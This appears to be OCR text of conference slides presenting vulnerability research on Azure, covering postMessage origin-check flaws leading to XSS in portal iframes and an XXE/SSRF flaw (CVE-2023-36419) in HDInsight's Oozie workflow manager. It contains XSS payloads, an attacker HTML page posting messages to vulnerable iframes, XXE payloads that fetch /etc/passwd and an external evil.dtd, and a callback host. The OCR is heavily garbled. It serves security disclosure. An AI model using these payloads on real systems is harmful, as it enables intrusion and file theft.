f(!isTrustedOrigin(event.origin.toLowerCase(), trustedParentOrigins)){
throw “networkwatcherConnectivity: origin “ + event.origin + " 1s not trusted"

var data = event.data;

Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

The Original message that is being sent to show the SVG Nodes

1v {
"method": "render", // the method for the postMessage to render the graph
3v "data": {
4w "9¢914305-3296-4¢c04-80fa-5d52cc3ba5de": { // 1st Node
> ¥ “children": [
6 "Secd4d382-dee3~4552-ade5-24ec2f751b11"

f (data.method === "render") {
clearNode("connectivityGraph");
let hops = data.data;
var r = requirejs.config({

baseUrl: "./",
paths: {
'yfiles': './5cripts/lib’
}
X

r{['./ConnectivityGraph.js', './license.js', './Scripts/lib/es2@15-shim.js'], functio
let svg = connectivityGraph.run(hops, global, trustedParentOrigin, data.selectedH

]'

8 "id": "9¢914305-3296-4c04-80fa-5d52cc3b45de”,

O "svg": {

10 "type": 1,

11 “"data":"<svg viewBox='0 @ 50 50'>" // svg content for the 1st node diagram graph

},

13 “"firstLabel": "orca-bastion-poc", // Text and other identifier for the 1st Node
14 "secondLabel”: "10.10.1.4" |

15 “type": 0,

16 "hasInboundError": false,

> "hasOutboundError': true,

] “"status': 0,

19 “"theme": "azure"

20 }

1v "S5ec4d382-dee3-4552-ade5-24ec2f751b11": { // 2nd Node etc

“children": [],

23 "id": "S5ecd4d382-dee3-4552-ade5-24ec2f751b11",

24 v "svg': {

25 "type": 1,

26 "data": "<svg viewBox='0 0 50 50' class='msportalfx-svg-placeholder' role='present
}

’
irstLabel”: "Internet",
Yearandl ahal'+« 127 0 a 1
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

Modifying the original message with XSS payload The payload being executed in the iframe context

h resources, services, and docs (G+/) ..mbedded page at network.hosting.portal.azure.net says - [

Resend to https://network.hosting.portal.azure.net/network/Content/4.13.393.10 This box should not pop..

undefined as object as string as number null

Connection Troubles

open in exploit page

1

2 od": "render",

s

4 - 14305-3296-4c04-80fa-5d52cc3b4S5de" : {

S-ildren": [ ."0

6 ec4d382-dee3-4552-ade5-24ec2f751b11" iiteias h!;n"
2 rca-bs ntemet
8 ": "9¢914305-3296-4c04-80fa-5d52cc3b4Sde”,

=gzt

10 ype": 1,

11 ata": "<script>alert('This box should not pop..')</script>k

12

13 rstLabel": "orca-bastion-poc",

14 condLabel”: "10.10.1.4",

15 pe": O,

16 sInboundError": false,
sQutboundError": true,
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

Found a “hidden” endpoint (index.html)

t: https://network.hosting.portal.azu

[ ] 1% 458/37045
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

The new endpoint seems to be missing an Origin check in its
postMessage () handler

switch (kind) {
case "NetworkWatcherTopology_showlopology™:
clearGraph();
require.config({
baseUrl: './',
paths: {
'yfiles"': './Scripts/lib’
}
ik
require( [
'« fTopology.js',
'.flicense.js",
'L 5cripts/lib/fes2815-shim.js"
], function (topology) {
currentTopology = topology.run(data.nodes, trustedParentOrigin, data.vnetId, data.isDarkTheme) ;
let svgurl = currentTopology.exportSVG();
loading(false);
global.parent.postMessage({
signature: "FxFrameBlade",
data: {
kind: "MetworkWatcherTopology_setSwglrl”,
data: swvgurl
}
}, trustedParentOrigin);
};
break;
case "NetworkWatcherTopology_clearGraph™:
loading(false);
clearGraphi);
break;
case "NetworkWatcherTopology_showloading":
clearGraph();
loading(true, data);

23K
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

Final postMessage being sent to the (new)
vulnerable postMessage () handler

};

Topology.prototype.getNodeStyles = function (svgText) { svgText = "</svg><svg onmouseover='window.alert(docun
var untrustedContainer = document. implementation.createHTMLDocument("").body;
untrustedContainer.innerHTML = svgText;
var elementsToRemove = [];
forEachNode(untrustedContainer.querySelectorAll(tagSanitizer), function (element) {

elementsToRemove.push(element);
};
elementsToRemove. forEach(function (element) { return element.remove(); });
svgText = untrustedContainer.innerHTML;
var scaleFactor = "1.0";
var nodeTemplate = "<g transform=\"scale({scaleFactor})\">\n {svgText}\n </g>";
if (svgText && svgText.toLowerCase().indexOf("® @ 18 18") !== -1) {
scaleFactor = "2.78";
}
nodeTemplate = nodeTemplate.replace("{svgText}", svgText.replace("view", "svg"));
nodeTemplate = nodeTemplate.replace("{scaleFactor}", scaleFactor);
return new yfiles.styles.StringTemplateNodeStyle(nodeTemplate);
};

Topology.prototype.clear = function () 1
this.graph.clear();
this.graphComponent.cleanUp();

}:
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

Chwme e 180 Ve Mowry  Bovimets  Pofiee T Wik el

« C ponge
Untitieddocument & 0 &
Fle Edt View Insert Format Tools Exiensions Helo Accessilty
5 e O A T W% v Nomalest v A .
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

Bypass Origin Validation

A Custom html page containing the vulnerable iframe html
(2 vulnerable postMessage() endpoint hosting one of Azure Services)

body>
<hl style="text-align: center;">Bypass origin iframe postMessage() XS5</hl>
<iframe
src="https:// .hosting.portal.azure.net/ . . . +html
sandbox="allow-scripts allow-same-origin allow-popups allow-forms allow-top-navigation allow-modals”
id="myIframe">
</iframe>
tscript>
function sendMessage(message) {
var iframe = document.getElementById( 'myIframe’);
iframe.contentWindow.postMessage(message, '*');
}
console.log('%c[INFO]', 'color: #00ff41; font-weight: bold;', 'Sending message 1');
setTimeout ( function () {
var messagel = {"hey":"hellow"};
sendMessage (messagel);
}s 500);
/script>
/body>
“lheml=
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Bypass Origin Validation

postMessage () handler checks for multiple origins, including a non trusted ones

work Performance  Application Memory  Security Lighthouse Recorder 2\ Cookie-Editor
[ Js* X
Iy 4
751 e.prototype.receiveMessage = function(e) {
1517 n = th
I 27518 » T = null;
{

2752¢ var 1 = e.origin;
t 27521 if (!1)
27522 throw new Error("Event received missing origin field");
("https://portal.azure.com" !== (1 = i.tolLowerCase()) && "https://ms.portal.azure.com" !== i && "https://df.onecloud.azure-test.net"
I== § && "https://rc.portal.azure.com" !== i &§ "https://portal.azure.us" !== i && "https://portal.azure.cn" !== i
&& "https://portal.azure.eaglex.ic.gov" !== i && "httos://portal.azure.microsoft.scloud" !== i
|&& "https://preview.portal.azure.com" !== i &&
irow new Error('"Received event origin of [" + 1 + "] does not match any trusted origin'):;
(!le.data)

y v new Error('Received event is missing "“data" field');
7530 if (“FxFrameBlade" !== e.data.signature)
31 thr ew Error("Received event with unexpected signature of [" + e.data.signature + "]");
(e.data.data.solution && e.data.data.solution === 1l.VmInsights && "theme" !== e.data.kind) {
(le.data.data.receivedReady)
a = e.data.data && e.data.data.iframeld;
(this.frameld !== a)

}
1549 if (e.data.data && e.data.data.rawData)
14 > s {
s = JSON.parse(e.data.data.rawData)
1 .. 1\ r
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

Bypass Origin Validation
Sending a modified version of one of the original postMessage ()
to the iframe postMessage() handler

Messages object
https://iframe-orca-research-localhost.scm. azurewebsites. net/wwwroot/byp

O N, Con'
Resend to | 0r

undefined |as object as string as number | null

open in exploit page

1-{

2 "signature": "FxFrameBlade",
3 "kind": "localeStrings",

4- "data": {

5 "rawData": "{\"

6 }

7}

Listeners

function () { [native code] }
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

Bypass Origin Validation

The postMessage() is indeed checking and

Our origin is a simple Azure Web App hosting the custom

matching the given origin HTML page
J
v Local
’
e.prototype.receiveMessage = function(e) { > this: e
var r = this 5
, N = null; c: ined
try { v e: MessageEvent
var i = e.origin; T Anstacphaie
if (11) bubbles: false
- Y 5 . % cancelBubble: false
throw new Error("Event re missing origin field"); e e e
cancelable: false

if ("https://portal.azure.com" !== (1= oLowerCase()) & "htt
) throw new Error("Received event origin o i+ "] does r
if (le.data)

throw new Error('Received event is missing "data" field'
if (“FxFrameBlade" !== e.data.signature)

throw new Error("Received event with unexpected signature of

’

if (e.data.data.solution && e.data.data.solution === 1l.VmInsight
if (!e.data.data.receivedReady) >
return;
var a = e.data.data && e.data.data.iframeld; >
if (this.frameld !== a)
>

» srcEleme

composed: false

currentTarget: Window {window: Window,

{signature: 'FxFrameBlade', kind:
defaultPrevented: false

hase: 2

lastEventIdT=
origin: "https://iframe-orca-research-localhost.scm.azurewebsites.net"
ports: []

returnValue: true

global {@: Window,

ent: Window {window:

self: Window, document:
‘localeStrings', data:

document,

{.}}

data:

source: window: global, self:

Window, self:
target: Window {window: Window, self:
timeStamp: 288595.39999999106

global,
Window, document:
Window, document: document, name:

{.},

document, na

location:
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Bypass Origin Validation

The malicious postMessage() was able to bypass the Origin check

- return void this.processRefreshMessage();
- if (!s) s = {ContainerInsights: {..}, ErrorExperience: {..}, LivelLog: {..}, MultiCluster: {.}, Onboarding: {..}, .}
— return,;
- [if (“localeStrings" === c) _
- return void (this.eventProcessors.localeStrings && this.eventProcessors.localeStrings({
= detail: e.data.data
= H);
= s.localeStrings && o.LocaleStringsHandler.Instance().translateRawLocale(s.localeStrings);
- var p = Ss.sequenceNumber;
= if (p <= this.lastReceivedMessageSequenceNumber)
- throw new Error("Received event with out of order sequence number of [" + p + "]. Last recorded sequence number
- switch (c) {

I vomn NlnmddMTdd aliimdanll,
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Bypass Origin Validation

Manipulating the server to grab a malicious JSON file

Time Payload

2024-Mary-13 08:14:00.836 UTC ) O 0823-20-217-218-32.npr0k - X +

2024-May-13 08:14:00.836 UTC
2024-May-13 08:14:01. 180 UTC Account lidsrbenshitritBgmail .com (Plan: Fres)

C 5 08a3-20-217-218-32.ngrok-free.as o W C‘o s D £ woognito New

o f e - Version i.g.a
2024-May-13 08:14:01.152 UTC Reglon Europe Ceud
i urope (e
2024-May-13 08:14:01.156 UTC Latency - hosting.portal.azure.net says
2024-Mary-13 08:14:28.870 UTC Wb Interfoce http: AF1ET. 0.0, 14040 uting portal arure.net
2024-Mary-13 08:14:28.871 UTC Forwarding https://88a3-20-217-218-32 . ngrok-free.opp -» http://localhos
2024-May-13 08:14:28.872 UTC (o)
Connections ttl apn rtl rt5 =] poa
L @ 2.89 8.2 5.09 6.50
HTTP Regquests
rpkicon Request o Collaborator Response from Collaborat: GET Sprovider 434 Not Fourd
OPTIONS /provider o
Raw Farx GET fprovider 434 Not Found
v e 200 0
OPTIONS roviders
AR Al N 200 0
GET ;. him 200 O
GET Sprovider 200 0K
GET Sprovi der 484 Not Fourd
OPTIONS provider o
Fprovider _ ol

Origin:
User g |
cec-Fetch-Hod

g.portal.azure.net/
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages () "“chains”

Azure Advisor Portal service endpoint is
embedded via iframe in the Azure Portal

Overview

]
'i :' Refresh = Add ¥ Logs

Last 24 hours

Filter by name

Security and Audit SQL Vulnerability Assesd

Performing Assessment

Microsoft Operations Management Suite is connecting to
your server data to perform a security assessment for the [}
first time. This will take several hours. It is recommended

DATABASES
you let this run overnight.

Various postMessages () are being sent to build the Dashboard

by Enso Security

DS/PUNLUL  ULUTE, LU/ #VLEW/ MLLULTUSUT L_RLZUTNE_AUV LOU!

ature”: “FxAppBlade”, "kind":"revealcontent”}
bs : //portal .azure.com/#view/Microsoft_Azure_Advisor

nature”: "FxAppBlade”, "kind":"customMessage”, "data":
tps://portal.azure.com/#view/Microsoft_Azure_Advis'

HE

X
ned

tns //nortal azure com/#view/Microsoft Azure Ad\n{\

(message) { // We need to keep listening to this

(e) { var ibizaData = e.data; var action = ibizaD

object
https://portal.azure.com/#view/Microsoft_Azure_AdvisorF
https://advisorportalextension.hosting.portal.azure.n

Resend to https://advisorportalextension.hosting.portal.azure.
undefined as object as string as number null
open in exploit page

N\
N\

\

{

"signature"”: "FxAppBlade",

“kind": "customMessage”,

"data": "{\"type\":\"batch\",\"value\":[{
}

Ui S W=
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages () “chains”

9
J

[l
D B WN =S

Various postMessages() that are being sent as a sequence to
build the Dashboard
{

"signature": "FxAppBlade",
"kind": "customMessage",

"data": "{\"type\":\"batch\",\"value\": [{\"type\":\"themeChange\",\"value\":{\"name\":\"azure\",\"highCon -

trast\":0,\"locked\":false}},{\"type\":\"authContext\",\"value\":{\"path\":\"/czar\",\"workspaceRegion\":
\"eastus\",\"workspaceFeatures\":{\"legacy\":0,\"sear
chVersion\":1,\"enableLogAccessUsingOnlyResourcePermissions\":true},\"header\":\"Bearer
czar\",\"draftHeader\":\"Bearer czar\",\"channelId\":\"0rca\", \"workspaceCustomerId\":\"Orca\"}},{\"type\
":\"renderDashboard\",\"value\":{\"componentId\":\"ViewsOverviewDashboard\",\"properties\":{\" _timelnterv
al\":{\"intervalDuration\":86400}}}}]}" 1
}

{

"signature": "FxAppBlade",

"kind": "customMessage",

"data": "{\"type\":\"draftAuthTokenRefresh\",\"value\":\"Bearer czar\"}"

Vulnerable Variable that will be changed in the last

be replaced with an XSS payload.

{

"signature": "FxAppBlade",

"kind": "customMessage",

"data": "{\"type\":\"armCall\",\"key\":0,\"result\":{\"result\": [{\"Name\":\"VMInsights\",\"Available\":t
rue,\"Enabled\":true,\"Visible\":true}, {\"Name\":\"SQLAdvancedThreatProtection\",\"Available\":true,\"Ena
bled\":true,\"Visible\":true}, {\"Name\":\"Security\",\"Available\":true,\"Enabled\":true,\"Visible\":true
},{\"Name\":\"SecurityCenterFree\",\"Available\":true, \"Enabled\":true,\"Visible\":true}, {\"Name\":\"SQLV
ulnerabilityAssessment\",\"Available\":true,\"Enabled\":true,\"Visible\":true}]}}"
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages () “chains”
Payload injected to one of the postMessages ()

{
"signature": "FxAppBlade",
"kind": "customMessage",
"data": "{\"type\":\"batch\",\"value\": [{\"type\":\"themeChange\",\"value\":{\"name\":\"azure
\",\"highContrast\":0,\" locked\": false}},{\"type\":\"authContext\",\"value\":{\"path\":\"/cza
r\",\"workspaceRegion\":\"eastus\",\"workspaceFeatures\":{\"legacy\":0,\"sear ntid: ‘<img src=1 onerror=alert(document.domain)>", properti
chVersion\":1,\"enableLogAccessUsingOnlyResourcePermissions\":true},\"header\":\"Bearer
czar\",\"draftHeader\":\"Bearer czar\",\"channelId\":\"Orca\",\"workspaceCustomerId\":\"Orca\
“}},{\"type\":\"renderDashboard\",\"value\" {{\" componentId\":\"<img src=1 onerror=alert(
‘document.domain)>\",\"properties\":{\"_timeInterval\":{\"intervatburation\":86400}}}}]}"
6 |} > Malicious Payload
7 A

0 l‘n-:'—ﬁ‘-n.-no\'l- HECAaDT adal

W N =

tation.js q.js index.html?host...rtal.azure.com x >

U

156 /;Eiear‘scrt;il rv\andilr;giu;tll it is enabled by the page
157 window. removeScrollHandling(false);

}

159 } "<img src=1 onerror=alert(document.domain)>"

1161 PcurrentDashboard = Shell.Widget.! renderDashboard( $("#widgetHost"), [renderData.componentId, renderData.properties);
162 if ($("body").hasClass (" mobile-wp")) { ' ' I
163 resize();

164 ¥

148 }

containerTemplate = "<div class='filter-container'></div>";

anahladEil+are - 1.

[ > Line 164, Column 18 Coverage: n/a
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages () “chains”

Attacker custom HTML containing the vulnerable iframe and the
postMessages () chains that will be sent

GNU nano 5.4 sql xss.html

function sendMessage(message) {
var iframe = document.getElementById('myIframe’);
iframe.contentWindow.postMessage(message, '*');

}

setTimeout(function () {
var messagel = {

}i
sendMessage (messagel);
}, 1000);

setTimeout (function () {
var message2 = {

}i
sendMessage (message2);
}, 2000);
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages () “chains”

The 4th postMessage() containing the malicious payload inside
the vulnerable variable

setTimeout (function () {
var messaged = {

}i
sendMessage(message3);
}r 3DUU]F

setTimeout (function () {
var messaged = {

}i
sendMessage (messaged) ;
}, 4000);
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

postMessages “chains”

Google

Google Search I'm Feeling Lucky

nents Console Sources Performancs Appicatior Memory Security Jhthouse Coolde Edito Recorder /4 A2 B3

A tpYy @ Filte Jlssues: B3
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

Administering Ambari

_ ) _ https://docs. cloudera.com/HDPDocuments /Ambari-

Cluster User
=

)

pof G e fpiono o

Service Operator

3 HOFS and a \AM Capacity o l/{/ - i
Service Administrator P @j@%“@ Y7 ¢ ’ﬂﬂ@p * ACH 2 f\[)(!(h{“ Ambari
Users assigned to the Servce Administrator role have the same permissions as users assigned 1o the Senice Operator = Aalail ZooKeeper

Cluster Operator

Cluster Administrator

Ambari Administrator

Parent lopic:
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability
Verifying running under “low” Workflow Manager Dashboard

Request Response L Workflow Designer x |+

Raw = Pretty Raw * & research-insight.azurehdinsight.netjviews

1 GET 1 HTTP/1.1 208 0K
Japi/fvl/views/WORKFLOW MANAGER/versions/1.8.8/1instances/workflo 2 Cache-Control: no-store Vorkflow Manager
uscrvlf_n;’rcsnurces.,-‘prm:y.-{getturrcntuacrNamc IITTP!l.l Pragma: no-cache
Host: research-insight.azurehdinsight.net } Content-Type: application/jsdg
Cookie: AMBARISESSIONID= request-id: c2efbbaed557b4T1ldh
 Authorization: BalllIIEEEEEEEEEEEE b x=ms=hdi-active: hnl-resear.r
Sec=Ch=-Ua: "MNot/A)Brand";v="99", "Google Chrome";v=' " x=ms=hdi-http-host: hnl-rese
"Chromium" ; v="115" x-ms=hdi-http-gateway: gwl-r
X=-Xsrf-Header: 28261 X-Frame-0Options: SAMEORIGIN
Sec=Ch-Ua-Mobile: 7@ 18 X=-X55=-Protection: 1;
X=Requested-By: Ambari 11 X=Content-Type-0ptions: nosn
I User-Agent: Mozillas5.8 (Macintosh; Intel Mac 05 X 18_15_7) 12 User: Llow
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.2.8.8 Strict-Transport-5Security: m
safari/f537.36 lasContent-Security-Policy: def
18 Accept: text/plain, =/ #; gq=0.01 ! " font=src 's¢
1 X=Requested-With: XMLHttpRegquest 1 % 13 Aug 2823 14:48:
2 Sec=Ch-Ua-Platform: "macOs" L ion: close
} Sec~Fetch-5ite: same-origin 1 gth: 18
| Sec=-Fetch-Mode: cors
sec-Fetch-Dest: empty 1
Referer: "username" :" Low"
https://research=insight.azurehdinsight.net/views /WORKFLOW_MANA
GER/1.0.8/workflowservice/
Accept-Encoding: gzip, deflate
Accept-Language:
en=IL,en;q=0.9,he<IL:q=0.8,he;q=0.7,en-US;q=0.6,pl:;q=0.5
I Connection: close

mode=blg No Records
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CVE-2023-36419 CVSS 8.8

“readWorkflowXml" endpoint (GET Request)

Request
Raw Hex =] \n

1 GET fapi/vwl/views/WORKFLOW_MAMAGER/versions/1.8.8/instances /workflowservic
workflowXmlPath=, pas HTTP/1.1
2 Host: research-insight.azurehdinsight.net
: Cookie: AMBARISES
| Authorization: Ba
5 Sec-Ch-Ua: "Not/A)Brand
X-Xsrf-Header: 41618
' Sec-Ch-Ua-Mobile: 7@
} X=-Requested-By: Ambari
er-Agent: Mozillas5.8 (Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/115.98.8.0 Safari/537.36
18 Accept: text/plain, =/=; q=0.81
11 X-Requested-With: XMLHttpRequest
Sec=Ch=Ua-Platform: "mac05
} Sec-Fetch-5ite: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
Referer: https
' Accept-Encoding: gzip, deflate
18 Accept-Language: en-IL,en;q=9.9,he-IL;q=08.8,he;q=0.7,en-U5;q=0.6,pl;q=08.5
19 Connection: close

scources/proxy/ readworkf LowXml?

"Google Chrome 115", "Chromium ="115"

OW_MANAGER/1.0.08/workflowservice/

“File does

v 5et-Cookie: AMBARISE

HttpOnly; SameSit
Content-Securi
'self'; img=-src

' Date: Mon,

Connection: clo

} Content=-Length:

{

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

not exist” / Workflow does not exists

(JavaMetho

chPr
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

What about /etc folder ? Submitting new Coordinator Workflow
style-src 'self' 'unsafe-inline'; font-src 'se
Date: Mon, 14 Aug 2023 12:15:06 GMT Coordingtor saved
Connection: close Job id :0000011-230813091208841-00zie-00zi-C
Content-Length: 13821

Coordinator path * Amp/BundleXXEtest? Browse

{
“"errorCode":"error.file.access", _ )
net KT "o Execution Settings BUse system lib path
stackirace : ERerun on Failure

Overwrite

"java.lio.FileNotFoundException: /etc is a directory not a file.
leSystem.open(NativeAzureFileSystem.java:3124)\n\tat org.apache
iveAzureFileSystem. java:3090)\n\tat org.apache.hadoop.fs.FileSy
.ambari.view.utils.hdfs.HdfsApi$15.run(HdfsApi.java:428)\n\tat

n(HdfsApi.java:426)\n\tat java.security.AccessController.doPriv
.Subject.doAs(Subject.java:422)\n\tat org.apache.hadoop.securit
n.java:1907)\n\tat org.apache.ambari.view.utils.hdfs.HdfsApi.ex
.view.utils.hdfs.HdfsApi.execute(HdfsApi.java:493)\n\tat org.ap
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

“submitJob” endpoint with the default XML body

proxy/submitlo
TTP/1.1

=Ch-Ua: *
srf der:

Ch=-Ua=-Hobi
2h: Imtel Mac 0OF 18_15_7) AppleWebKits537.36 (KHTML,

Content-Type: xt/plain;charset=UTF-B
Accept: te g=a.81

=Fetch=51ite
Fetch=Hode

LOW _MAMAGERS1.@.8/workflowservices

Accept-Languag @ - B.6,pl;q=0.5
Connection: clos

(Etest™ Tregqu ord:m tes(38) ™ start=
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

Modifying the XML to a simple XXE payload java.lang.NullPointerException

Sec-Fetch-5ite: same-origin
Sec-Fetch-Mode: cors
empty

Response

f/research=-insight.azurehdinsight.net/views /WORKFLOW_MAN
rvice/
Accept-Encoding: gzip, deflate
1 Accept-Language: en-IL,en;q=8.9,he-IL;q=90.8,he;q=08.7,en-U5;q=0
Connection: close
version="1.8" 7>
OCTYPE replace [<!ENTITY ample "Thisis@xczar"> ]>

fo=
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

Modifying the XML to a simple XXE payload (2nd try)

Reguest
Protty Rarw Hex

POST

HTTPS1.1
Host: research-insight.azurehdinsight.net

Content-Length: 92
Authorization:

Sec=Ch=Ua: "MNot/A)Brand™;wv="99", "Google Chrome":w="115"

K=Xsrf-Header: 32201
Sec=Ch=Ua-Mobile: 7@
K=Requested=By: workflow-designer

User=-Agent: Mozillas5.@ (Macintosh; Intel Mac 05 X 18_15_7)
AppleWebiit /537.36 (KHTHML, like Gecko) Chrome/115%.08.8.8 Safaris537.36

Content=-Type: textsplain;charset=UTF-8
Accept: text/splain, =/=; g=0.21
X-Requested-With: MXMLHttpRegquest
Sec-Ch-Ua-Platform: "macds"

Origin: https://research-insight.azurehdinsight.net
Sec-Fetch-5ite: same-origin
Sec-Fetch-Mode: cors
Sec=Fetch=Dest: empty
Referer:
https://research=insight.azurehdinsight.net/views MWORK
flowservice/

Accept=-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8, he;q=0.7
Connection: close

Fapl/vl/views WORKFLOW_MANAGER/versions/1.R.8/instances/workf lowservice/sresou
reesSproxy/Ssubmitlobrapp. paths/tmp/doesnoxexistéoverwritest ruesjobType
DINATOREcDZ ieconfig. useSystemLibPathstrucboozieconf ig. rerundnfFailure=true

Cookie: AMBARISESSON 10~ |

Malformed XML

OW_MAMAGERS1.8. 8/ work

n=US; q=8.6,pl; g=fi-5

Response

Profty Ravw

"“Chromium™ ;wv="115" I XK=X55-Protection: 1; msode=block

<txml version="1.8" 7>
<!DOCTYPE replace [<!ENTITY example "Thisis@xczar™s

<fuserinfo=

£

HTTP/1.1 588 Internal Server Error
Cache=Control: no-store

Fragma: no-cache

Content=-Type: applicationsjson;ch
request-id: 17Qeldecc@ldcdd49dacdbeTTBal8ciice

x-mi-hdi-active: hn i - ¢ rnal . ¢ Loudapp . net
s-mi-hdi-http-host: hnl r|"._a'l..r.lnudau|.;.
x-mi-hdi-http-gateway: gwl-resear

X-Frame-0Options: SAMEORIGIN

EK=Content-Type-0ptions: nosniff

User: low

Strict=Transport=5ecurity: max-ages31536800; includeSublomains

Content=Security=Policy: default=src "self’; script=src 'self' 'unsafe-eval' 'u
"self® "unsafe=inline®; font=src "self' data:;

Date: Sun, 13 Aug 2023 15:19:36 GMT
Connection: close
Content-Length: 13481

{

"message”iorg.xml
“stackTraCe™s
' an g . Rupi
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CVE-2023-36419 CVSS 8.8

“submitJon” POST body gets “formatXML”

@Po
@Path("/submitJob"
@Consumes ( {MediaType.TEXT_PLAIN + "," + MediaType.TEXT_XML
L Response submitlob(String postBody, @Context HttpHeaders headers,
@Context ui, @QueryParam("app.path") String appPath,

@QueryParam("projectId”) String projectld,
@DefaultValue("false") @QueryParam("overwrite") Boolean overwi
@QueryParam("description") String description,
@QueryParam("jobType") String jobTypeString)

LOGGER. info("submit workflow job called");

JobType jobType = JobType.valueOf(jobTypeString);

if (StringUtils.isEmpty(appPath)

throw new WifmWebException(ErrorCode.INVALID_ EMPTY_INPUT);

appPath = workflowFilesService.getWorkflowFileName appPath.trim(),
Y,':"
if (loverwrite) {
boolean fileExists = hdfsFileUtils.fileExists(appPat
if (fileExists)

throw new WfmWebException(ErrorCode.WORKFLOW PATH_EXISTS);

1

postBody = utihs.fornatXml(postBo4y¥f/

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

“formatXml” is using a vulnerable Parser

[Preview] README.md Utils.java X
contrib > views > wfmanager > src > main 2> java > org > apache > oozie > ambari > view Utils.java U

.getLogger(Utils.class);
. DocumentBuilderFactory dbf = DocumentBuilderFactory.newlInstance();

c String formatXml(String xml)

Tl‘,
DocumentBuilder db = dbf.newDocumentBuilder();
StreamResult result = new StreamResult(new StringWriter());
Document document = db
.parse(new InputSource(new StringReaderixml)));
Transformer transformer = TransformerFactory.newlnstance()
.newTransformer();
transformer.setOutputProperty(OutputKeys.INDENT, "yes");
transformer.setOutputProperty(XML_INDENT_AMT_PROP_NAME,
XML_INDENT_SPACES);
DOMSource source = new DOMSource(document);
transformer.transform(source, result);
return result.getWriter().toString();
79 v catch (ParserConfigurationException | SAXException | IOException
| TransformerFactoryConfigurationError | TransformerException e
LOGGER.error{"Error in formatting xml", e);

throw new RuntimeException(e);

c String generateXml(Document doc){
DOMSource domSource = new DOMSourceidoc);

BlueHat IL




CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

SSRF Payload “SAXParseException” and receiving the callback

) unsa Line" ;
Dat Sun, Aug 2823 131 GMT
Connection

{1
Fec-Fetch-5ite: same-origin
=Fetch-Mode:
Fetch-De

research=insight.azurehdinsight.net/views /WORKFLOW_MAMAGER/1.8.0 /workflowservic

0 generate; Poll noww Polling autom

Time Payload Source IP add
2023-Aug-13 15:40:31.349 UTC refsmihpreBylom a1 gdp1iridz)qThdm 40,719,153
2023-Aug-13 15:40:31.369 UTC refamhpreBylom | qdp@irBdz)qTidm 40,TE.225.203
2023-Aug-13 15:40:31.509 UTC refamhprvGykmix1qdpS1réd g Tixem 13.82.176.16
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CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

Trying retrieve the /etc/passwd file

"message":

"org.xml.sax.5AXParseException; systemlId: file:///etc/passwd; glineNumber: 1; columnMumber: 1; The markup declarations cont
ained or pointed to by the document type declaration must be v

“"stackTrace":

"Java. lang.RuntimeException: org.xml.sax.5AXParseException; systemId: fTile:///etc/passwd; LlineNumber: 1; columnMumber: 1;
The markup declarations contained or pointed to by the document type declaration must be well-formed.\n\tat org.apache.ooz
ie.ambari.view.Utils. formatXml(Utils.java:88)\n\tat org.apache.oozie.ambari.view.0OoziePr Impersonator.submitJob(OoziePro
xyImpersonator.java:2@88)\n\tat sun.reflect.GeneratedMethodAccessor577.invoke(Unknown Source)\n\tat sun.reflect.DelegatingM
ethodAccessorImpl. invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\ta
t com.sun.jersey.spi.container.JavaMethodInvokerFactory$l. invoke(JavaMethodInvokerFactonm

java:6@)\n\tat com.sun.jersey.se

rver.impl.model.method.dispatch.AbstractResourceMethodDispatchProviderSResponseQutInvoker. dispatch{AbstractResourceMethod

er.impl.model.method.dispatch.ResourcelavaMethodDispatcher.dispatch(Re

BlueHat IL



CVE-2023-36419 CVSS 8.8

Azure HDInsight Apache Oozie Workflow Scheduler XXE Elevation of Privileges Vulnerability

Creating a hook using dtd file (error base)

Burp Suite Professional v2023.9.1 - 2023-08-13 - licensed to Orca Security Ltd. [single user

J/var/www/html Proxy Intruder Repeater Collaborator Sequencer
evil.dtd : Extensions TProxer ReconAlzer DOM Scanner
